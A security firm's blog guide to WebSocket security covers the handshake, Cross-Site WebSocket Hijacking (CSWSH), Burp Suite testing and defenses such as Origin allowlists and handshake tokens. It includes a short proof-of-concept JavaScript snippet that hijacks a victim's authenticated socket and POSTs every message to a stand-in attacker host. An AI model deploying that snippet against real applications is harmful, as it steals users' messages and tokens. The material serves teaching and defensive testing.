Pentesting
WebSocket
CSWSH
pentesting

WebSocket Security: CSWSH, Hijacking and Pentesting

WebSocket security explained: RFC 6455 handshake, why CORS does not apply, Cross-Site WebSocket Hijacking (CSWSH), pentesting with Burp and defenses.

SecraJuly 6, 20269 min read

WebSocket security is one of the areas most often overlooked in web audits, because the channel does not behave like a normal HTTP request and many of the controls that protect your REST or GraphQL API simply do not apply. The flagship flaw on this surface is Cross-Site WebSocket Hijacking (CSWSH): a cross-origin session hijack that appears whenever the server authenticates with cookies but never validates the handshake origin. This guide walks through how the protocol works, how CSWSH is exploited end to end, what other protocol-specific bugs exist, how to test WebSockets with Burp Suite and which defenses actually close the vector.

Key takeaways on WebSocket security

  • The WebSocket handshake is an HTTP Upgrade request, but Same-Origin Policy and CORS do not restrict reading the channel once it is open.
  • The browser sends the Origin header in the handshake, yet it is only advisory: a non-browser client can forge it.
  • CSWSH = CSRF applied to WebSockets: cookies as authentication plus missing Origin validation equals cross-origin session hijack.
  • Baseline defense: strict Origin allowlist, anti-CSRF token on the handshake, per-message authorization and mandatory wss.

How the WebSocket handshake works (and why it is not HTTP or CORS)

The WebSocket protocol is defined by RFC 6455 (2011). The connection starts as an HTTP Upgrade request and, after the 101 Switching Protocols response, the same TCP connection turns into a full-duplex, frame-based channel. A typical handshake looks like this:

GET /chat HTTP/1.1
Host: app.secra.es
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.secra.es
Cookie: session=eyJhbGciOi...

The server replies with 101 and a Sec-WebSocket-Accept header, which is the SHA-1 of the Sec-WebSocket-Key concatenated with the magic GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, base64 encoded. That computation only proves you speak WebSocket, it authenticates nothing.

Here is the security trap. When a page opens new WebSocket(...), the browser automatically attaches the cookies for the destination domain, exactly as with any cross-site request. But unlike fetch() or XMLHttpRequest, the Same-Origin Policy does not stop attacker JavaScript from reading the channel responses. CORS does not even come into play: the WebSocket protocol applies neither the preflight model nor Access-Control-Allow-Origin. If the contrast with the browser model interests you, we develop it in CORS: what it is and exploitable misconfigurations.

The only origin signal the server receives is the Origin header. And that header is only advisory: browsers set it by design, but a non-browser client (curl, wscat, a Python script) can send whatever value it wants. In other words, validating Origin stops attacks launched from a victim's browser, but it never replaces real authentication.

Cross-Site WebSocket Hijacking (CSWSH) step by step

CSWSH, a term coined by Christian Schneider, is essentially CSRF over WebSockets with the aggravating factor that the attacker can read the responses. The conditions for it to be exploitable are two, and they occur together more often than you would like:

  1. The WebSocket endpoint authenticates the user through the session cookie (ambient authentication).
  2. The server does not validate the handshake Origin header, or does so loosely.

With that, the attack flow is direct. The victim, logged in to app.secra.es, visits a page controlled by the attacker. That page runs:

const ws = new WebSocket("wss://app.secra.es/chat");
ws.onopen = () => ws.send('{"action":"getMessages"}');
ws.onmessage = (e) =>
  fetch("https://attacker.tld/collect", { method: "POST", body: e.data });

The victim's browser sends the handshake with its valid session cookie. The server, never checking Origin, accepts the connection and treats it as authenticated. From there the attacker can send messages on behalf of the victim and, worse, exfiltrate everything the server returns over the channel: message history, tokens, profile data or any operation the WebSocket API exposes. If the session cookie does not carry SameSite=Lax or Strict, the vector is wide open.

Reproducing it with Burp's WebSockets history

To confirm it during an engagement, the minimal flow with Burp Suite is:

  1. Browse the application with the proxy on until the WebSocket connection is established. It shows up in the WebSockets history tab, next to the HTTP history.
  2. Locate the handshake (the GET request with Upgrade: websocket) and note whether the server returns 101 with the cookie as the only credential.
  3. Replay the handshake changing the Origin header to an arbitrary domain (for example https://evil.example). If the server still returns 101 and the channel answers authenticated messages, Origin validation is absent or insufficient: CSWSH confirmed.
  4. Send a channel message to Repeater, which supports editing and resending WebSocket frames, to probe which operations the hijacked session accepts.

Other WebSocket-specific flaws

CSWSH is the headline, but the surface has more edges specific to the protocol.

Authentication only at the handshake vs per message

Many servers validate identity once, at the handshake, and then trust the connection for its whole lifetime. The problem is that authorization of each operation is not rechecked per message. If the channel multiplexes sensitive actions, a low-privilege user can send frames invoking operations they should never reach. This is exactly the pattern seen in GraphQL subscriptions over WebSocket, where the token travels in the connection_init payload and, if the resolver does not re-evaluate permissions per operation, authorization flaws appear. We analyze it in detail in GraphQL pentesting: vulnerabilities and defense.

Message tampering and injection

A WebSocket is just transport: every classic injection class remains valid inside the frames. If a message's content ends up rendered in the DOM without escaping, you get XSS; if it feeds a query, SQLi; if it builds a path, path traversal. The practical difference is that most WAFs and filters do not inspect WebSocket frames, because the traffic rides an already-upgraded connection. Tampering with each message's JSON from Repeater usually reveals far weaker server-side validation than the equivalent HTTP endpoints.

Denial of service with unbounded frames

The RFC does not impose a maximum message size. If the server limits neither frame length nor message rate, an attacker can exhaust memory by sending huge payloads or open thousands of connections to saturate the pool. The permessage-deflate compression extension adds a zip-bomb style amplification risk: a small compressed frame expands to hundreds of megabytes in server memory.

TLS (wss) and tunneling

The ws:// scheme travels in cleartext and exposes cookies and messages to anyone on the network path. Only wss:// (WebSocket over TLS, port 443) protects the channel. Additionally, WebSockets can tunnel arbitrary protocols over 443, which makes them a convenient command and control (C2) channel able to cross corporate proxies that pass HTTPS traffic without inspection. Worth keeping on the radar for both pentesting and detection.

Pentesting WebSockets with Burp Suite

Auditing a WebSocket endpoint fits within modern API pentesting, so it leans on the same tooling. An effective run includes:

  • Discovery. Identify the ws:// and wss:// URLs by inspecting the client JavaScript and Burp's WebSockets history tab. Document path, subprotocol (Sec-WebSocket-Protocol) and credential used.
  • Origin validation. Replay the handshake with an altered, absent and look-alike subdomain Origin to detect loose comparisons (for example startsWith or poorly anchored regular expressions).
  • Per-message authorization. With a low-privilege session, send frames invoking higher-privilege operations and check whether the server re-evaluates permissions.
  • Message fuzzing. Tamper with each payload field looking for injection, IDOR and logic flaws, taking advantage of the typically lighter filtering compared with HTTP.
  • Robustness. Test oversized frames and connection bursts to assess limits and DoS behavior.

This sequence is the natural extension of the approach described in API pentesting for REST and GraphQL, applied to a persistent transport.

Defenses: Origin allowlist, tokens and per-message authorization

Closing the WebSocket surface requires combining several controls, because none is enough on its own:

  • Strict Origin allowlist. Validate the handshake Origin header against an explicit list of allowed origins and reject the rest with a status other than 101. Compare the full string, never by prefix or substring.
  • Anti-CSRF token on the handshake. Since Origin is only advisory, also require an unpredictable token bound to the session (in a handshake parameter or the first message) and verify it server-side. This neutralizes CSWSH even if origin validation fails.
  • Do not rely on ambient cookies. Authenticate with tokens (for example a Bearer token in the connection_init payload) instead of session cookies, and mark any required cookie as SameSite=Strict or Lax.
  • Per-message authorization. Re-evaluate permissions on every operation, not just at the handshake. The persistent connection must not be a blank check.
  • Mandatory wss and HSTS. Force TLS, reject ws:// and cap frame size, message rate and compression to contain denial of service.

Frequently asked questions

Does CORS protect WebSocket connections?

No. The CORS model and the Same-Origin Policy do not restrict reading the WebSocket channel once it is established. The browser sends the Origin header in the handshake, but it is the server that must validate it explicitly. That is why an endpoint that trusts only cookies and does not check Origin is vulnerable to CSWSH even if its HTTP API has CORS configured perfectly.

What is the difference between CSWSH and classic CSRF?

Both abuse cookie authentication sent automatically across origins. The key difference is that in traditional CSRF the attacker can trigger an action but cannot read the response (the Same-Origin Policy blocks it), whereas in CSWSH they can read everything the server returns over the channel, which turns it into a much more severe two-way session hijack.

Is validating the Origin header enough to stop CSWSH?

Against a browser, validating Origin with an allowlist stops the attack, because the browser does not let JavaScript forge that header. But Origin is advisory: a non-browser client can send any value. That is why the recommendation is to combine Origin validation with an unpredictable anti-CSRF token on the handshake and per-message authorization.

How do I test a WebSocket with Burp Suite?

Browse the application with the proxy on until the connection opens, review the WebSockets history tab, replay the handshake altering the Origin header and send frames to Repeater to test authorization, injection and logic. It is the same web pentesting tooling, applied to a persistent channel.


At Secra we audit WebSocket endpoints, REST and GraphQL APIs inside the web and mobile audit service, with real focus on origin validation, per-message authorization and CSWSH. Every finding ships with a reproduction, severity justified by business impact and a prioritized remediation plan. If you want a proposal for your application, get in touch through contact.

About the author

Secra Solutions team

Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

Share article